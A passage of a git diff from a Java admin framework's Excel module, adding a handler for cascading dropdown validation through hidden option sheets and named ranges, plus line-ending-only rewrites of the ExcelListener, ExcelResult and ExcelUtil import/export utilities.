+ * + * @param options 额外表格形式存储的下拉可选项 + */ + private void dropDownLinkedOptions(DataValidationHelper helper, Workbook workbook, Sheet sheet, DropDownOptions options) { + String linkedOptionsSheetName = String.format("%s_%d", LINKED_OPTIONS_SHEET_NAME, currentLinkedOptionsSheetIndex); + // 创建联动下拉数据表 + Sheet linkedOptionsDataSheet = workbook.createSheet(WorkbookUtil.createSafeSheetName(linkedOptionsSheetName)); + // 将下拉表隐藏 + workbook.setSheetHidden(workbook.getSheetIndex(linkedOptionsDataSheet), true); + // 选项数据 + List firstOptions = options.getOptions(); + Map> secoundOptionsMap = options.getNextOptions(); + + // 采用按行填充数据的方式,避免EasyExcel出现数据无法写入的问题 + // Attempting to write a row in the range that is already written to disk + + // 使用ArrayList记载数据,防止乱序 + List columnNames = new ArrayList<>(); + // 写入第一行,即第一级的数据 + Row firstRow = linkedOptionsDataSheet.createRow(0); + for (int columnIndex = 0; columnIndex < firstOptions.size(); columnIndex++) { + String columnName = firstOptions.get(columnIndex); + firstRow.createCell(columnIndex) + .setCellValue(columnName); + columnNames.add(columnName); + } + + // 创建名称管理器 + Name name = workbook.createName(); + // 设置名称管理器的别名 + name.setNameName(linkedOptionsSheetName); + // 以横向第一行创建一级下拉拼接引用位置 + String firstOptionsFunction = String.format("%s!$%s$1:$%s$1", + linkedOptionsSheetName, + getExcelColumnName(0), + getExcelColumnName(firstOptions.size()) + ); + // 设置名称管理器的引用位置 + name.setRefersToFormula(firstOptionsFunction); + // 设置数据校验为序列模式,引用的是名称管理器中的别名 + this.markOptionsToSheet(helper, sheet, options.getIndex(), helper.createFormulaListConstraint(linkedOptionsSheetName)); + + // 创建二级选项的名称管理器 + for (int columIndex = 0; columIndex < columnNames.size(); columIndex++) { + // 列名 + String firstOptionsColumnName = getExcelColumnName(columIndex); + // 对应的一级值 + String thisFirstOptionsValue = columnNames.get(columIndex); + + // 以该一级选项值创建子名称管理器 + Name sonName = workbook.createName(); + // 设置名称管理器的别名 + sonName.setNameName(thisFirstOptionsValue); + // 以第二行该列数据拼接引用位置 + String sonFunction = String.format("%s!$%s$2:$%s$%d", + linkedOptionsSheetName, + firstOptionsColumnName, + firstOptionsColumnName, + // 二级选项存在则设置为(选项个数+1)行,否则设置为2行 + Math.max(Optional.ofNullable(secoundOptionsMap.get(thisFirstOptionsValue)) + .orElseGet(ArrayList::new).size(), 1) + 1 + ); + // 设置名称管理器的引用位置 + sonName.setRefersToFormula(sonFunction); + // 数据验证为序列模式,引用到每一个主表中的二级选项位置 + // 创建子项的名称管理器,只是为了使得Excel可以识别到数据 + String mainSheetFirstOptionsColumnName = getExcelColumnName(options.getIndex()); + for (int i = 0; i < 100; i++) { + // 以一级选项对应的主体所在位置创建二级下拉 + String secondOptionsFunction = String.format("=INDIRECT(%s%d)", mainSheetFirstOptionsColumnName, i + 1); + // 二级只能主表每一行的每一列添加二级校验 + markLinkedOptionsToSheet(helper, sheet, i, options.getNextIndex(), helper.createFormulaListConstraint(secondOptionsFunction)); + } + } + + // 将二级数据处理为按行区分 + Map> columnValueMap = new HashMap<>(); + int currentRow = 1; + while (currentRow >= 0) { + boolean flag = false; + List rowData = new ArrayList<>(); + for (String columnName : columnNames) { + List data = secoundOptionsMap.get(columnName); + if (CollUtil.isEmpty(data)) { + // 添加空字符串填充位置 + rowData.add(" "); + continue; + } + // 取第一个 + String str = data.get(0); + rowData.add(str); + // 通过移除的方式避免重复 + data.remove(0); + // 设置可以继续 + flag = true; + } + columnValueMap.put(currentRow, rowData); + // 可以继续,则增加行数,否则置为负数跳出循环 + if (flag) { + currentRow++; + } else { + currentRow = -1; + } + } + + // 填充第二级选项数据 + columnValueMap.forEach((rowIndex, rowValues) -> { + Row row = linkedOptionsDataSheet.createRow(rowIndex); + for (int columnIndex = 0; columnIndex < rowValues.size(); columnIndex++) { + String rowValue = rowValues.get(columnIndex); + // 填充位置的部分不渲染 + if (StrUtil.isNotBlank(rowValue)) { + row.createCell(columnIndex) + .setCellValue(rowValue); + } + } + }); + + currentLinkedOptionsSheetIndex++; + } + + /** + *

额外表格形式的普通下拉框

+ * 由于下拉框可选值数量过多,为提升Excel打开效率,使用额外表格形式做下拉 + * + * @param celIndex 下拉选 + * @param value 下拉选可选值 + */ + private void dropDownWithSheet(DataValidationHelper helper, Workbook workbook, Sheet sheet, Integer celIndex, List value) { + // 创建下拉数据表 + Sheet simpleDataSheet = Optional.ofNullable(workbook.getSheet(WorkbookUtil.createSafeSheetName(OPTIONS_SHEET_NAME))) + .orElseGet(() -> workbook.createSheet(WorkbookUtil.createSafeSheetName(OPTIONS_SHEET_NAME))); + // 将下拉表隐藏 + workbook.setSheetHidden(workbook.getSheetIndex(simpleDataSheet), true); + // 完善纵向的一级选项数据表 + for (int i = 0; i < value.size(); i++) { + int finalI = i; + // 获取每一选项行,如果没有则创建 + Row row = Optional.ofNullable(simpleDataSheet.getRow(i)) + .orElseGet(() -> simpleDataSheet.createRow(finalI)); + // 获取本级选项对应的选项列,如果没有则创建 + Cell cell = Optional.ofNullable(row.getCell(currentOptionsColumnIndex)) + .orElseGet(() -> row.createCell(currentOptionsColumnIndex)); + // 设置值 + cell.setCellValue(value.get(i)); + } + + // 创建名称管理器 + Name name = workbook.createName(); + // 设置名称管理器的别名 + String nameName = String.format("%s_%d", OPTIONS_SHEET_NAME, celIndex); + name.setNameName(nameName); + // 以纵向第一列创建一级下拉拼接引用位置 + String function = String.format("%s!$%s$1:$%s$%d", + OPTIONS_SHEET_NAME, + getExcelColumnName(currentOptionsColumnIndex), + getExcelColumnName(currentOptionsColumnIndex), + value.size()); + // 设置名称管理器的引用位置 + name.setRefersToFormula(function); + // 设置数据校验为序列模式,引用的是名称管理器中的别名 + this.markOptionsToSheet(helper, sheet, celIndex, helper.createFormulaListConstraint(nameName)); + currentOptionsColumnIndex++; + } + + /** + * 挂载下拉的列,仅限一级选项 + */ + private void markOptionsToSheet(DataValidationHelper helper, Sheet sheet, Integer celIndex, + DataValidationConstraint constraint) { + // 设置数据有效性加载在哪个单元格上,四个参数分别是:起始行、终止行、起始列、终止列 + CellRangeAddressList addressList = new CellRangeAddressList(1, 1000, celIndex, celIndex); + markDataValidationToSheet(helper, sheet, constraint, addressList); + } + + /** + * 挂载下拉的列,仅限二级选项 + */ + private void markLinkedOptionsToSheet(DataValidationHelper helper, Sheet sheet, Integer rowIndex, + Integer celIndex, DataValidationConstraint constraint) { + // 设置数据有效性加载在哪个单元格上,四个参数分别是:起始行、终止行、起始列、终止列 + CellRangeAddressList addressList = new CellRangeAddressList(rowIndex, rowIndex, celIndex, celIndex); + markDataValidationToSheet(helper, sheet, constraint, addressList); + } + + /** + * 应用数据校验 + */ + private void markDataValidationToSheet(DataValidationHelper helper, Sheet sheet, + DataValidationConstraint constraint, CellRangeAddressList addressList) { + // 数据有效性对象 + DataValidation dataValidation = helper.createValidation(constraint, addressList); + // 处理Excel兼容性问题 + if (dataValidation instanceof XSSFDataValidation) { + //数据校验 + dataValidation.setSuppressDropDownArrow(true); + //错误提示 + dataValidation.setErrorStyle(DataValidation.ErrorStyle.STOP); + dataValidation.createErrorBox("提示", "此值与单元格定义数据不一致"); + dataValidation.setShowErrorBox(true); + //选定提示 + dataValidation.createPromptBox("填写说明:", "填写内容只能为下拉中数据,其他数据将导致导入失败"); + dataValidation.setShowPromptBox(true); + sheet.addValidationData(dataValidation); + } else { + dataValidation.setSuppressDropDownArrow(false); + } + sheet.addValidationData(dataValidation); + } + + /** + *

依据列index获取列名英文

+ * 依据列index转换为Excel中的列名英文 + *

例如第1列,index为0,解析出来为A列

+ * 第27列,index为26,解析为AA列 + *

第28列,index为27,解析为AB列

+ * + * @param columnIndex 列index + * @return 列index所在得英文名 + */ + private String getExcelColumnName(int columnIndex) { + // 26一循环的次数 + int columnCircleCount = columnIndex / 26; + // 26一循环内的位置 + int thisCircleColumnIndex = columnIndex % 26; + // 26一循环的次数大于0,则视为栏名至少两位 + String columnPrefix = columnCircleCount == 0 + ? StrUtil.EMPTY + : StrUtil.subWithLength(EXCEL_COLUMN_NAME, columnCircleCount - 1, 1); + // 从26一循环内取对应的栏位名 + String columnNext = StrUtil.subWithLength(EXCEL_COLUMN_NAME, thisCircleColumnIndex, 1); + // 将二者拼接即为最终的栏位名 + return columnPrefix + columnNext; + } +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelListener.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelListener.java index 2d0340f..eacf547 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelListener.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelListener.java @@ -1,14 +1,14 @@ -package org.dromara.common.excel.core; - -import com.alibaba.excel.read.listener.ReadListener; - -/** - * Excel 导入监听 - * - * @author Lion Li - */ -public interface ExcelListener extends ReadListener { - - ExcelResult getExcelResult(); - -} +package org.dromara.common.excel.core; + +import com.alibaba.excel.read.listener.ReadListener; + +/** + * Excel 导入监听 + * + * @author Lion Li + */ +public interface ExcelListener extends ReadListener { + + ExcelResult getExcelResult(); + +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelResult.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelResult.java index 0c2a418..6f67d09 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelResult.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelResult.java @@ -1,26 +1,26 @@ -package org.dromara.common.excel.core; - -import java.util.List; - -/** - * excel返回对象 - * - * @author Lion Li - */ -public interface ExcelResult { - - /** - * 对象列表 - */ - List getList(); - - /** - * 错误列表 - */ - List getErrorList(); - - /** - * 导入回执 - */ - String getAnalysis(); -} +package org.dromara.common.excel.core; + +import java.util.List; + +/** + * excel返回对象 + * + * @author Lion Li + */ +public interface ExcelResult { + + /** + * 对象列表 + */ + List getList(); + + /** + * 错误列表 + */ + List getErrorList(); + + /** + * 导入回执 + */ + String getAnalysis(); +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/utils/ExcelUtil.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/utils/ExcelUtil.java index a6c14ad..3749ecf 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/utils/ExcelUtil.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/utils/ExcelUtil.java @@ -1,436 +1,436 @@ -package org.dromara.common.excel.utils; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.io.resource.ClassPathResource; -import cn.hutool.core.util.IdUtil; -import com.alibaba.excel.EasyExcel; -import com.alibaba.excel.ExcelWriter; -import com.alibaba.excel.write.builder.ExcelWriterSheetBuilder; -import com.alibaba.excel.write.metadata.WriteSheet; -import com.alibaba.excel.write.metadata.fill.FillConfig; -import com.alibaba.excel.write.metadata.fill.FillWrapper; -import com.alibaba.excel.write.style.column.LongestMatchColumnWidthStyleStrategy; -import jakarta.servlet.ServletOutputStream; -import jakarta.servlet.http.HttpServletResponse; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.file.FileUtils; -import org.dromara.common.excel.convert.ExcelBigNumberConvert; -import org.dromara.common.excel.core.*; - -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.io.UnsupportedEncodingException; -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * Excel相关处理 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class ExcelUtil { - - /** - * 同步导入(适用于小数据量) - * - * @param is 输入流 - * @return 转换后集合 - */ - public static List importExcel(InputStream is, Class clazz) { - return EasyExcel.read(is).head(clazz).autoCloseStream(false).sheet().doReadSync(); - } - - - /** - * 使用校验监听器 异步导入 同步返回 - * - * @param is 输入流 - * @param clazz 对象类型 - * @param isValidate 是否 Validator 检验 默认为是 - * @return 转换后集合 - */ - public static ExcelResult importExcel(InputStream is, Class clazz, boolean isValidate) { - DefaultExcelListener listener = new DefaultExcelListener<>(isValidate); - EasyExcel.read(is, clazz, listener).sheet().doRead(); - return listener.getExcelResult(); - } - - /** - * 使用自定义监听器 异步导入 自定义返回 - * - * @param is 输入流 - * @param clazz 对象类型 - * @param listener 自定义监听器 - * @return 转换后集合 - */ - public static ExcelResult importExcel(InputStream is, Class clazz, ExcelListener listener) { - EasyExcel.read(is, clazz, listener).sheet().doRead(); - return listener.getExcelResult(); - } - - /** - * 导出excel - * - * @param list 导出数据集合 - * @param sheetName 工作表的名称 - * @param clazz 实体类 - * @param response 响应体 - */ - public static void exportExcel(List list, String sheetName, Class clazz, HttpServletResponse response) { - try { - resetResponse(sheetName, response); - ServletOutputStream os = response.getOutputStream(); - exportExcel(list, sheetName, clazz, false, os, null); - } catch (IOException e) { - throw new RuntimeException("导出Excel异常"); - } - } - - /** - * 导出excel - * - * @param list 导出数据集合 - * @param sheetName 工作表的名称 - * @param clazz 实体类 - * @param response 响应体 - * @param options 级联下拉选 - */ - public static void exportExcel(List list, String sheetName, Class clazz, HttpServletResponse response, List options) { - try { - resetResponse(sheetName, response); - ServletOutputStream os = response.getOutputStream(); - exportExcel(list, sheetName, clazz, false, os, options); - } catch (IOException e) { - throw new RuntimeException("导出Excel异常"); - } - } - - /** - * 导出excel - * - * @param list 导出数据集合 - * @param sheetName 工作表的名称 - * @param clazz 实体类 - * @param merge 是否合并单元格 - * @param response 响应体 - */ - public static void exportExcel(List list, String sheetName, Class clazz, boolean merge, HttpServletResponse response) { - try { - resetResponse(sheetName, response); - ServletOutputStream os = response.getOutputStream(); - exportExcel(list, sheetName, clazz, merge, os, null); - } catch (IOException e) { - throw new RuntimeException("导出Excel异常"); - } - } - - /** - * 导出excel - * - * @param list 导出数据集合 - * @param sheetName 工作表的名称 - * @param clazz 实体类 - * @param merge 是否合并单元格 - * @param response 响应体 - * @param options 级联下拉选 - */ - public static void exportExcel(List list, String sheetName, Class clazz, boolean merge, HttpServletResponse response, List options) { - try { - resetResponse(sheetName, response); - ServletOutputStream os = response.getOutputStream(); - exportExcel(list, sheetName, clazz, merge, os, options); - } catch (IOException e) { - throw new RuntimeException("导出Excel异常"); - } - } - - /** - * 导出excel - * - * @param list 导出数据集合 - * @param sheetName 工作表的名称 - * @param clazz 实体类 - * @param os 输出流 - */ - public static void exportExcel(List list, String sheetName, Class clazz, OutputStream os) { - exportExcel(list, sheetName, clazz, false, os, null); - } - - /** - * 导出excel - * - * @param list 导出数据集合 - * @param sheetName 工作表的名称 - * @param clazz 实体类 - * @param os 输出流 - * @param options 级联下拉选内容 - */ - public static void exportExcel(List list, String sheetName, Class clazz, OutputStream os, List options) { - exportExcel(list, sheetName, clazz, false, os, options); - } - - /** - * 导出excel - * - * @param list 导出数据集合 - * @param sheetName 工作表的名称 - * @param clazz 实体类 - * @param merge 是否合并单元格 - * @param os 输出流 - */ - public static void exportExcel(List list, String sheetName, Class clazz, boolean merge, - OutputStream os, List options) { - ExcelWriterSheetBuilder builder = EasyExcel.write(os, clazz) - .autoCloseStream(false) - // 自动适配 - .registerWriteHandler(new LongestMatchColumnWidthStyleStrategy()) - // 大数值自动转换 防止失真 - .registerConverter(new ExcelBigNumberConvert()) - .sheet(sheetName); - if (merge) { - // 合并处理器 - builder.registerWriteHandler(new CellMergeStrategy(list, true)); - } - // 添加下拉框操作 - builder.registerWriteHandler(new ExcelDownHandler(options)); - builder.doWrite(list); - } - - /** - * 单表多数据模板导出 模板格式为 {.属性} - * - * @param filename 文件名 - * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 - * 例如: excel/temp.xlsx - * 重点: 模板文件必须放置到启动类对应的 resource 目录下 - * @param data 模板需要的数据 - * @param response 响应体 - */ - public static void exportTemplate(List data, String filename, String templatePath, HttpServletResponse response) { - try { - resetResponse(filename, response); - ServletOutputStream os = response.getOutputStream(); - exportTemplate(data, templatePath, os); - } catch (IOException e) { - throw new RuntimeException("导出Excel异常"); - } - } - - /** - * 单表多数据模板导出 模板格式为 {.属性} - * - * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 - * 例如: excel/temp.xlsx - * 重点: 模板文件必须放置到启动类对应的 resource 目录下 - * @param data 模板需要的数据 - * @param os 输出流 - */ - public static void exportTemplate(List data, String templatePath, OutputStream os) { - ClassPathResource templateResource = new ClassPathResource(templatePath); - ExcelWriter excelWriter = EasyExcel.write(os) - .withTemplate(templateResource.getStream()) - .autoCloseStream(false) - // 大数值自动转换 防止失真 - .registerConverter(new ExcelBigNumberConvert()) - .build(); - WriteSheet writeSheet = EasyExcel.writerSheet().build(); - if (CollUtil.isEmpty(data)) { - throw new IllegalArgumentException("数据为空"); - } - // 单表多数据导出 模板格式为 {.属性} - for (Object d : data) { - excelWriter.fill(d, writeSheet); - } - excelWriter.finish(); - } - - /** - * 多表多数据模板导出 模板格式为 {key.属性} - * - * @param filename 文件名 - * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 - * 例如: excel/temp.xlsx - * 重点: 模板文件必须放置到启动类对应的 resource 目录下 - * @param data 模板需要的数据 - * @param response 响应体 - */ - public static void exportTemplateMultiList(Map data, String filename, String templatePath, HttpServletResponse response) { - try { - resetResponse(filename, response); - ServletOutputStream os = response.getOutputStream(); - exportTemplateMultiList(data, templatePath, os); - } catch (IOException e) { - throw new RuntimeException("导出Excel异常"); - } - } - - /** - * 多sheet模板导出 模板格式为 {key.属性} - * - * @param filename 文件名 - * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 - * 例如: excel/temp.xlsx - * 重点: 模板文件必须放置到启动类对应的 resource 目录下 - * @param data 模板需要的数据 - * @param response 响应体 - */ - public static void exportTemplateMultiSheet(List> data, String filename, String templatePath, HttpServletResponse response) { - try { - resetResponse(filename, response); - ServletOutputStream os = response.getOutputStream(); - exportTemplateMultiSheet(data, templatePath, os); - } catch (IOException e) { - throw new RuntimeException("导出Excel异常"); - } - } - - /** - * 多表多数据模板导出 模板格式为 {key.属性} - * - * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 - * 例如: excel/temp.xlsx - * 重点: 模板文件必须放置到启动类对应的 resource 目录下 - * @param data 模板需要的数据 - * @param os 输出流 - */ - public static void exportTemplateMultiList(Map data, String templatePath, OutputStream os) { - ClassPathResource templateResource = new ClassPathResource(templatePath); - ExcelWriter excelWriter = EasyExcel.write(os) - .withTemplate(templateResource.getStream()) - .autoCloseStream(false) - // 大数值自动转换 防止失真 - .registerConverter(new ExcelBigNumberConvert()) - .build(); - WriteSheet writeSheet = EasyExcel.writerSheet().build(); - if (CollUtil.isEmpty(data)) { - throw new IllegalArgumentException("数据为空"); - } - for (Map.Entry map : data.entrySet()) { - // 设置列表后续还有数据 - FillConfig fillConfig = FillConfig.builder().forceNewRow(Boolean.TRUE).build(); - if (map.getValue() instanceof Collection) { - // 多表导出必须使用 FillWrapper - excelWriter.fill(new FillWrapper(map.getKey(), (Collection) map.getValue()), fillConfig, writeSheet); - } else { - excelWriter.fill(map.getValue(), writeSheet); - } - } - excelWriter.finish(); - } - - /** - * 多sheet模板导出 模板格式为 {key.属性} - * - * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 - * 例如: excel/temp.xlsx - * 重点: 模板文件必须放置到启动类对应的 resource 目录下 - * @param data 模板需要的数据 - * @param os 输出流 - */ - public static void exportTemplateMultiSheet(List> data, String templatePath, OutputStream os) { - ClassPathResource templateResource = new ClassPathResource(templatePath); - ExcelWriter excelWriter = EasyExcel.write(os) - .withTemplate(templateResource.getStream()) - .autoCloseStream(false) - // 大数值自动转换 防止失真 - .registerConverter(new ExcelBigNumberConvert()) - .build(); - if (CollUtil.isEmpty(data)) { - throw new IllegalArgumentException("数据为空"); - } - for (int i = 0; i < data.size(); i++) { - WriteSheet writeSheet = EasyExcel.writerSheet(i).build(); - for (Map.Entry map : data.get(i).entrySet()) { - // 设置列表后续还有数据 - FillConfig fillConfig = FillConfig.builder().forceNewRow(Boolean.TRUE).build(); - if (map.getValue() instanceof Collection) { - // 多表导出必须使用 FillWrapper - excelWriter.fill(new FillWrapper(map.getKey(), (Collection) map.getValue()), fillConfig, writeSheet); - } else { - excelWriter.fill(map.getValue(), writeSheet); - } - } - } - excelWriter.finish(); - } - - /** - * 重置响应体 - */ - private static void resetResponse(String sheetName, HttpServletResponse response) throws UnsupportedEncodingException { - String filename = encodingFilename(sheetName); - FileUtils.setAttachmentResponseHeader(response, filename); - response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet;charset=UTF-8"); - } - - /** - * 解析导出值 0=男,1=女,2=未知 - * - * @param propertyValue 参数值 - * @param converterExp 翻译注解 - * @param separator 分隔符 - * @return 解析后值 - */ - public static String convertByExp(String propertyValue, String converterExp, String separator) { - StringBuilder propertyString = new StringBuilder(); - String[] convertSource = converterExp.split(StringUtils.SEPARATOR); - for (String item : convertSource) { - String[] itemArray = item.split("="); - if (StringUtils.containsAny(propertyValue, separator)) { - for (String value : propertyValue.split(separator)) { - if (itemArray[0].equals(value)) { - propertyString.append(itemArray[1] + separator); - break; - } - } - } else { - if (itemArray[0].equals(propertyValue)) { - return itemArray[1]; - } - } - } - return StringUtils.stripEnd(propertyString.toString(), separator); - } - - /** - * 反向解析值 男=0,女=1,未知=2 - * - * @param propertyValue 参数值 - * @param converterExp 翻译注解 - * @param separator 分隔符 - * @return 解析后值 - */ - public static String reverseByExp(String propertyValue, String converterExp, String separator) { - StringBuilder propertyString = new StringBuilder(); - String[] convertSource = converterExp.split(StringUtils.SEPARATOR); - for (String item : convertSource) { - String[] itemArray = item.split("="); - if (StringUtils.containsAny(propertyValue, separator)) { - for (String value : propertyValue.split(separator)) { - if (itemArray[1].equals(value)) { - propertyString.append(itemArray[0] + separator); - break; - } - } - } else { - if (itemArray[1].equals(propertyValue)) { - return itemArray[0]; - } - } - } - return StringUtils.stripEnd(propertyString.toString(), separator); - } - - /** - * 编码文件名 - */ - public static String encodingFilename(String filename) { - return IdUtil.fastSimpleUUID() + "_" + filename + ".xlsx"; - } - -} +package org.dromara.common.excel.utils; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.io.resource.ClassPathResource; +import cn.hutool.core.util.IdUtil; +import com.alibaba.excel.EasyExcel; +import com.alibaba.excel.ExcelWriter; +import com.alibaba.excel.write.builder.ExcelWriterSheetBuilder; +import com.alibaba.excel.write.metadata.WriteSheet; +import com.alibaba.excel.write.metadata.fill.FillConfig; +import com.alibaba.excel.write.metadata.fill.FillWrapper; +import com.alibaba.excel.write.style.column.LongestMatchColumnWidthStyleStrategy; +import jakarta.servlet.ServletOutputStream; +import jakarta.servlet.http.HttpServletResponse; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.file.FileUtils; +import org.dromara.common.excel.convert.ExcelBigNumberConvert; +import org.dromara.common.excel.core.*; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.io.UnsupportedEncodingException; +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * Excel相关处理 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class ExcelUtil { + + /** + * 同步导入(适用于小数据量) + * + * @param is 输入流 + * @return 转换后集合 + */ + public static List importExcel(InputStream is, Class clazz) { + return EasyExcel.read(is).head(clazz).autoCloseStream(false).sheet().doReadSync(); + } + + + /** + * 使用校验监听器 异步导入 同步返回 + * + * @param is 输入流 + * @param clazz 对象类型 + * @param isValidate 是否 Validator 检验 默认为是 + * @return 转换后集合 + */ + public static ExcelResult importExcel(InputStream is, Class clazz, boolean isValidate) { + DefaultExcelListener listener = new DefaultExcelListener<>(isValidate); + EasyExcel.read(is, clazz, listener).sheet().doRead(); + return listener.getExcelResult(); + } + + /** + * 使用自定义监听器 异步导入 自定义返回 + * + * @param is 输入流 + * @param clazz 对象类型 + * @param listener 自定义监听器 + * @return 转换后集合 + */ + public static ExcelResult importExcel(InputStream is, Class clazz, ExcelListener listener) { + EasyExcel.read(is, clazz, listener).sheet().doRead(); + return listener.getExcelResult(); + } + + /** + * 导出excel + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param clazz 实体类 + * @param response 响应体 + */ + public static void exportExcel(List list, String sheetName, Class clazz, HttpServletResponse response) { + try { + resetResponse(sheetName, response); + ServletOutputStream os = response.getOutputStream(); + exportExcel(list, sheetName, clazz, false, os, null); + } catch (IOException e) { + throw new RuntimeException("导出Excel异常"); + } + } + + /** + * 导出excel + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param clazz 实体类 + * @param response 响应体 + * @param options 级联下拉选 + */ + public static void exportExcel(List list, String sheetName, Class clazz, HttpServletResponse response, List options) { + try { + resetResponse(sheetName, response); + ServletOutputStream os = response.getOutputStream(); + exportExcel(list, sheetName, clazz, false, os, options); + } catch (IOException e) { + throw new RuntimeException("导出Excel异常"); + } + } + + /** + * 导出excel + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param clazz 实体类 + * @param merge 是否合并单元格 + * @param response 响应体 + */ + public static void exportExcel(List list, String sheetName, Class clazz, boolean merge, HttpServletResponse response) { + try { + resetResponse(sheetName, response); + ServletOutputStream os = response.getOutputStream(); + exportExcel(list, sheetName, clazz, merge, os, null); + } catch (IOException e) { + throw new RuntimeException("导出Excel异常"); + } + } + + /** + * 导出excel + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param clazz 实体类 + * @param merge 是否合并单元格 + * @param response 响应体 + * @param options 级联下拉选 + */ + public static void exportExcel(List list, String sheetName, Class clazz, boolean merge, HttpServletResponse response, List options) { + try { + resetResponse(sheetName, response); + ServletOutputStream os = response.getOutputStream(); + exportExcel(list, sheetName, clazz, merge, os, options); + } catch (IOException e) { + throw new RuntimeException("导出Excel异常"); + } + } + + /** + * 导出excel + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param clazz 实体类 + * @param os 输出流 + */ + public static void exportExcel(List list, String sheetName, Class clazz, OutputStream os) { + exportExcel(list, sheetName, clazz, false, os, null); + } + + /** + * 导出excel + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param clazz 实体类 + * @param os 输出流 + * @param options 级联下拉选内容 + */ + public static void exportExcel(List list, String sheetName, Class clazz, OutputStream os, List options) { + exportExcel(list, sheetName, clazz, false, os, options); + } + + /** + * 导出excel + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param clazz 实体类 + * @param merge 是否合并单元格 + * @param os 输出流 + */ + public static void exportExcel(List list, String sheetName, Class clazz, boolean merge, + OutputStream os, List options) { + ExcelWriterSheetBuilder builder = EasyExcel.write(os, clazz) + .autoCloseStream(false) + // 自动适配 + .registerWriteHandler(new LongestMatchColumnWidthStyleStrategy()) + // 大数值自动转换 防止失真 + .registerConverter(new ExcelBigNumberConvert()) + .sheet(sheetName); + if (merge) { + // 合并处理器 + builder.registerWriteHandler(new CellMergeStrategy(list, true)); + } + // 添加下拉框操作 + builder.registerWriteHandler(new ExcelDownHandler(options)); + builder.doWrite(list); + } + + /** + * 单表多数据模板导出 模板格式为 {.属性} + * + * @param filename 文件名 + * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 + * 例如: excel/temp.xlsx + * 重点: 模板文件必须放置到启动类对应的 resource 目录下 + * @param data 模板需要的数据 + * @param response 响应体 + */ + public static void exportTemplate(List data, String filename, String templatePath, HttpServletResponse response) { + try { + resetResponse(filename, response); + ServletOutputStream os = response.getOutputStream(); + exportTemplate(data, templatePath, os); + } catch (IOException e) { + throw new RuntimeException("导出Excel异常"); + } + } + + /** + * 单表多数据模板导出 模板格式为 {.属性} + * + * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 + * 例如: excel/temp.xlsx + * 重点: 模板文件必须放置到启动类对应的 resource 目录下 + * @param data 模板需要的数据 + * @param os 输出流 + */ + public static void exportTemplate(List data, String templatePath, OutputStream os) { + ClassPathResource templateResource = new ClassPathResource(templatePath); + ExcelWriter excelWriter = EasyExcel.write(os) + .withTemplate(templateResource.getStream()) + .autoCloseStream(false) + // 大数值自动转换 防止失真 + .registerConverter(new ExcelBigNumberConvert()) + .build(); + WriteSheet writeSheet = EasyExcel.writerSheet().build(); + if (CollUtil.isEmpty(data)) { + throw new IllegalArgumentException("数据为空"); + } + // 单表多数据导出 模板格式为 {.属性} + for (Object d : data) { + excelWriter.fill(d, writeSheet); + } + excelWriter.finish(); + } + + /** + * 多表多数据模板导出 模板格式为 {key.属性} + * + * @param filename 文件名 + * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 + * 例如: excel/temp.xlsx + * 重点: 模板文件必须放置到启动类对应的 resource 目录下 + * @param data 模板需要的数据 + * @param response 响应体 + */ + public static void exportTemplateMultiList(Map data, String filename, String templatePath, HttpServletResponse response) { + try { + resetResponse(filename, response); + ServletOutputStream os = response.getOutputStream(); + exportTemplateMultiList(data, templatePath, os); + } catch (IOException e) { + throw new RuntimeException("导出Excel异常"); + } + } + + /** + * 多sheet模板导出 模板格式为 {key.属性} + * + * @param filename 文件名 + * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 + * 例如: excel/temp.xlsx + * 重点: 模板文件必须放置到启动类对应的 resource 目录下 + * @param data 模板需要的数据 + * @param response 响应体 + */ + public static void exportTemplateMultiSheet(List> data, String filename, String templatePath, HttpServletResponse response) { + try { + resetResponse(filename, response); + ServletOutputStream os = response.getOutputStream(); + 